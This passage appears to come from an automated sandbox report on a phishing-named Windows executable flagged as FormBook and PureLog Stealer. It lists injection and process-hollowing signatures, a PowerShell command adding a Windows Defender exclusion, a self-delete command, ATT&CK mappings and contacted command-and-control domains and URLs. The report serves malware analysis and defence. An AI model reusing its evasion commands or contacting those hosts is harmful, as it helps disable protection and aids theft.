                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016B6ACC mov eax, dword ptr fs:[00000030h]6_2_016B6ACC
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016B6ACC mov eax, dword ptr fs:[00000030h]6_2_016B6ACC
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01660AD0 mov eax, dword ptr fs:[00000030h]6_2_01660AD0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01694AD0 mov eax, dword ptr fs:[00000030h]6_2_01694AD0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01694AD0 mov eax, dword ptr fs:[00000030h]6_2_01694AD0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01668AA0 mov eax, dword ptr fs:[00000030h]6_2_01668AA0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01668AA0 mov eax, dword ptr fs:[00000030h]6_2_01668AA0
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016B6AA4 mov eax, dword ptr fs:[00000030h]6_2_016B6AA4
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166EA80 mov eax, dword ptr fs:[00000030h]6_2_0166EA80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166EA80 mov eax, dword ptr fs:[00000030h]6_2_0166EA80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166EA80 mov eax, dword ptr fs:[00000030h]6_2_0166EA80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166EA80 mov eax, dword ptr fs:[00000030h]6_2_0166EA80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166EA80 mov eax, dword ptr fs:[00000030h]6_2_0166EA80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166EA80 mov eax, dword ptr fs:[00000030h]6_2_0166EA80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166EA80 mov eax, dword ptr fs:[00000030h]6_2_0166EA80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166EA80 mov eax, dword ptr fs:[00000030h]6_2_0166EA80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_0166EA80 mov eax, dword ptr fs:[00000030h]6_2_0166EA80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01734A80 mov eax, dword ptr fs:[00000030h]6_2_01734A80
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01698A90 mov edx, dword ptr fs:[00000030h]6_2_01698A90
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_016F8D6B mov eax, dword ptr fs:[00000030h]6_2_016F8D6B
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01660D59 mov eax, dword ptr fs:[00000030h]6_2_01660D59
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01660D59 mov eax, dword ptr fs:[00000030h]6_2_01660D59
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01660D59 mov eax, dword ptr fs:[00000030h]6_2_01660D59
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01668D59 mov eax, dword ptr fs:[00000030h]6_2_01668D59
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01668D59 mov eax, dword ptr fs:[00000030h]6_2_01668D59
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeCode function: 6_2_01668D59 mov eax, dword ptr fs:[00000030h]6_2_01668D59
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess token adjusted: DebugJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory allocated: page read and write | page guardJump to behavior

                HIPS / PFW / Operating System Protection Evasion

                barindex
                System process connects to network (likely due to code injection or exploit)
                Source: C:\Windows\explorer.exeNetwork Connect: 103.224.212.213 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 172.104.233.69 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 15.197.142.173 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 18.167.179.176 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 104.21.12.188 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 3.96.23.237 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 15.197.130.221 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 13.228.106.35 80Jump to behavior
                Source: C:\Windows\explorer.exeNetwork Connect: 3.33.130.190 80Jump to behavior
                Adds a directory exclusion to Windows Defender
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeJump to behavior
                Injects a PE file into a foreign processes
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeMemory written: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe base: 400000 value starts with: 4D5AJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: NULL target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection loaded: NULL target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeThread register set: target process: 4056Jump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeThread register set: target process: 4056Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
                Sample uses process hollowing technique
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeSection unmapped: C:\Windows\SysWOW64\msiexec.exe base address: BD0000Jump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeProcess created: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeJump to behavior
                Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe"Jump to behavior
                Source: explorer.exe, 00000007.00000003.3076004811.0000000009013000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.3076156355.0000000009021000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000003.2272035015.0000000009013000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: explorer.exe, 00000007.00000002.3785673759.0000000001441000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.1396919562.0000000001441000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: explorer.exe, 00000007.00000002.3785673759.0000000001441000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.1396919562.0000000001441000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: ?Program Manager
                Source: explorer.exe, 00000007.00000000.1394969393.0000000000C59000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000002.3782175629.0000000000C59000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1Progman
                Source: explorer.exe, 00000007.00000002.3785673759.0000000001441000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.1396919562.0000000001441000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeQueries volume information: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms.DataVisualization\v4.0_4.0.0.0__31bf3856ad364e35\System.Windows.Forms.DataVisualization.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Yara detected PureLog Stealer
                Source: Yara matchFile source: 2.2.Solicitud de pedido Documento No 168646080.exe.27cb1fc.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.Solicitud de pedido Documento No 168646080.exe.27c71e4.5.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.Solicitud de pedido Documento No 168646080.exe.27e322c.2.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.Solicitud de pedido Documento No 168646080.exe.27bfba8.3.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.Solicitud de pedido Documento No 168646080.exe.27e322c.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.1394754443.0000000002763000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1394754443.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1402312929.00000000072E2000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1394754443.0000000002721000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.Solicitud de pedido Documento No 168646080.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000008.00000002.3785670627.0000000004B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3785324441.0000000004AF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.3781993487.0000000000B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Yara detected PureLog Stealer
                Source: Yara matchFile source: 2.2.Solicitud de pedido Documento No 168646080.exe.27cb1fc.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.Solicitud de pedido Documento No 168646080.exe.27c71e4.5.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.Solicitud de pedido Documento No 168646080.exe.27e322c.2.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.Solicitud de pedido Documento No 168646080.exe.27bfba8.3.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.Solicitud de pedido Documento No 168646080.exe.27e322c.2.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000002.00000002.1394754443.0000000002763000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1394754443.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1402312929.00000000072E2000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1394754443.0000000002721000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
                Shared Modules                		1
                DLL Side-Loading                		612
                Process Injection                		1
                Rootkit                		1
                Credential API Hooking                		121
                Security Software Discovery                		Remote Services1
                Credential API Hooking                		1
                Encrypted Channel                		Exfiltration Over Other Network MediumAbuse Accessibility Features
                CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
                DLL Side-Loading                		1
                Masquerading                		LSASS Memory2
                Process Discovery                		Remote Desktop Protocol1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)11
                Disable or Modify Tools                		Security Account Manager41
                Virtualization/Sandbox Evasion                		SMB/Windows Admin SharesData from Network Shared Drive3
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook41
                Virtualization/Sandbox Evasion                		NTDS1
                Application Window Discovery                		Distributed Component Object ModelInput Capture13
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script612
                Process Injection                		LSA Secrets1
                File and Directory Discovery                		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                Deobfuscate/Decode Files or Information                		Cached Domain Credentials112
                System Information Discovery                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items4
                Obfuscated Files or Information                		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job22
                Software Packing                		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                Timestomp                		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
                DLL Side-Loading                		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1400223 Sample: Solicitud de pedido Documen... Startdate: 28/02/2024 Architecture: WINDOWS Score: 100 32 www.ytytyt016.xyz 2->32 34 www.yobo-by.com 2->34 36 12 other IPs or domains 2->36 44 Snort IDS alert for network traffic 2->44 46 Found malware configuration 2->46 48 Malicious sample detected (through community Yara rule) 2->48 52 15 other signatures 2->52 11 Solicitud de pedido Documento No 168646080.exe 4 2->11         started        signatures3 50 Performs DNS queries to domains with low reputation 32->50 process4 signatures5 60 Adds a directory exclusion to Windows Defender 11->60 62 Injects a PE file into a foreign processes 11->62 14 Solicitud de pedido Documento No 168646080.exe 11->14         started        17 powershell.exe 23 11->17         started        process6 signatures7 64 Modifies the context of a thread in another process (thread injection) 14->64 66 Maps a DLL or memory area into another process 14->66 68 Sample uses process hollowing technique 14->68 70 Queues an APC in another process (thread injection) 14->70 19 explorer.exe 63 1 14->19 injected 23 conhost.exe 17->23         started        process8 dnsIp9 38 www.yassa-hany.online 103.224.212.213, 49721, 80 TRELLIAN-AS-APTrellianPtyLimitedAU Australia 19->38 40 www.thewipglobal.com 15.197.130.221, 49717, 80 TANDEMUS United States 19->40 42 7 other IPs or domains 19->42 54 System process connects to network (likely due to code injection or exploit) 19->54 25 msiexec.exe 19->25         started        signatures10 process11 signatures12 56 Modifies the context of a thread in another process (thread injection) 25->56 58 Maps a DLL or memory area into another process 25->58 28 cmd.exe 1 25->28         started        process13 process14 30 conhost.exe 28->30         started       

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                Solicitud de pedido Documento No 168646080.exe42%ReversingLabsByteCode-MSIL.Trojan.Taskun
                Solicitud de pedido Documento No 168646080.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                https://www.pollensense.com/0%URL Reputationsafe
                http://schemas.micro0%URL Reputationsafe
                http://www.yobo-by.com/pz08/?cx=iU/VPDM1hXdODhSoU7U2JopiHjlxkOyRWPhUw/eyvzY6Otnmd1rCkE8jNVWF6hpsFcjAQEEsrA==&CR=_DHhAtX0%Avira URL Cloudsafe
                http://www.nordens-media.com/pz08/?cx=32Qm6Ke2HKMNxWuGOo4gUstP0NhHa1GW0Wc3g6Bmqj6dA0nbRKEtQTutVOb61eG0z72pbUCjvw==&CR=_DHhAtX0%Avira URL Cloudsafe
                http://www.boostyourselftoday.comReferer:0%Avira URL Cloudsafe
                http://www.yassa-hany.onlineReferer:0%Avira URL Cloudsafe
                http://www.go-bloggers.comReferer:0%Avira URL Cloudsafe
                http://www.aloyoga-uae.com/pz08/100%Avira URL Cloudphishing
                http://www.tobegoodlife.net0%Avira URL Cloudsafe
                http://www.thewipglobal.com/pz08/www.boostyourselftoday.com0%Avira URL Cloudsafe
                http://www.tobegoodlife.net/pz08/www.5819995.com0%Avira URL Cloudsafe
                http://www.boostyourselftoday.com/pz08/0%Avira URL Cloudsafe
                http://www.thewipglobal.com0%Avira URL Cloudsafe
                www.rdlva.com/pz08/0%Avira URL Cloudsafe
                http://www.sunriseclohting.storeReferer:0%Avira URL Cloudsafe
                http://www.rdlva.comReferer:0%Avira URL Cloudsafe
                http://www.rdlva.com/pz08/www.yassa-hany.online0%Avira URL Cloudsafe
                http://www.5819995.com0%Avira URL Cloudsafe
                http://www.thewipglobal.comReferer:0%Avira URL Cloudsafe
                http://www.kxn.inkReferer:0%Avira URL Cloudsafe
                http://www.thewipglobal.com/pz08/?cx=j7VZTyaPLotDIgtvuFm1Wc2ZOg86ksyi3hYWattYqpUq5IzwEATKEtPTRIq3N3amsDpuvgSkbA==&CR=_DHhAtX0%Avira URL Cloudsafe
                http://www.sunriseclohting.store/pz08/www.plantasdasminas.com0%Avira URL Cloudsafe
